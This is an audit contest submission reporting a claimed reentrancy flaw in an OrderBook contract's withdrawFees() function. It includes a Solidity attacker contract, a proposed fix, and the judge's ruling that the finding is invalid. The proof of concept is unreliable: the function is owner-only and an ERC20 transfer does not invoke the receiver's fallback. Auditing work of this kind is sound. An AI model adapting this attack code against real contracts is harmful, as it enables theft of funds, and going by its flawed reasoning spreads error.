OrderBook

First Flight #43
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Impact: medium
Likelihood: medium
Invalid

ReEntrancy

🐞 Vulnerability Report – Reentrancy Risk in withdrawFees() Function

Description

  • Normally, when the contract owner calls withdrawFees(), the function should send the collected USDC protocol fees to a specified address and then reset the internal fee counter (totalFees) to zero. This ensures fees are only withdrawn once and future calls will have no funds to send unless new fees are collected.

  • The function sends the USDC before it resets the internal totalFees value. If the receiving address is a smart contract, it could re-enter the function during the transfer and withdraw the same fees again. This is a reentrancy vulnerability, caused by updating internal state after making an external call — which breaks the Checks-Effects-Interactions pattern.

function withdrawFees(address _to) external onlyOwner {
if (totalFees == 0) {
revert InvalidAmount();
}
if (_to == address(0)) {
revert InvalidAddress();
}
@> iUSDC.safeTransfer(_to, totalFees); // external call happens here
@> totalFees = 0; // state updated only after transfer ❌
emit FeesWithdrawn(_to);
}

Risk

Likelihood:

  • The vulnerability will occur when the contract owner designates a smart contract as the recipient (_to) of withdrawFees(), and that recipient has a fallback function that re-enters withdrawFees() during the external call.

  • It can also happen in DAO or multisig setups where the owner is itself a contract, or automated scripts interact with the protocol — increasing the chance of unintended reentrant behavior.

Impact:

  • The same totalFees amount could be withdrawn multiple times, leading to a loss of protocol funds that should have only been transferred once.

  • State inconsistency may arise, which can lead to confusion in accounting, false balances, or other parts of the system relying on incorrect fee values.

Proof of Concept

  • Inside withdrawFees(), the contract transfers USDC to address(this) using safeTransfer.

  • Because address(this) is a smart contract, the fallback() function is triggered.

  • Inside the fallback, withdrawFees() is called again — before totalFees is set to 0.

  • This results in double withdrawal of the same fees.

  • After both calls, totalFees is finally set to 0 — but the protocol has already been drained.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface IOrderBook {
function withdrawFees(address _to) external;
}
contract ReentrancyAttacker {
IOrderBook public vulnerableOrderBook;
bool public hasReentered;
constructor(address _orderBook) {
vulnerableOrderBook = IOrderBook(_orderBook);
}
// This function triggers the vulnerability
function startAttack() external {
hasReentered = false;
vulnerableOrderBook.withdrawFees(address(this));
}
// Fallback is triggered during safeTransfer call
fallback() external payable {
if (!hasReentered) {
hasReentered = true;
vulnerableOrderBook.withdrawFees(address(this)); // Re-enter before totalFees = 0
}
}
}

Mitigation


To fix the vulnerability, the withdrawFees() function should be updated to follow the Checks-Effects-Interactions pattern, ideally with a reentrancy guard. After patching, a new version of the contract can be deployed. If using a proxy, only the logic needs updating. Otherwise, key state like allowed tokens and fee data should be migrated manually. The old contract should be retired or disabled, and users—especially DAO or multisig owners—should be notified to interact only with the updated version.

- iUSDC.safeTransfer(_to, totalFees);
- totalFees = 0;
+ uint256 fees = totalFees;
+ totalFees = 0;
+ iUSDC.safeTransfer(_to, fees);
Updates

Lead Judging Commences

yeahchibyke Lead Judge
8 days ago
yeahchibyke Lead Judge 8 days ago
Submission Judgement Published
Invalidated
Reason: Non-acceptable severity
Assigned finding tags:

CEI pattern not followed in `withdrawFees()` function

`withdrawFees()` function performs an external transfer using `iUSDC.safeTransfer()` before resetting totalFees. This breaks the `Checks-Effects-Interactions (CEI)` pattern and can lead to incorrect internal state if the transfer fails for any reason.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.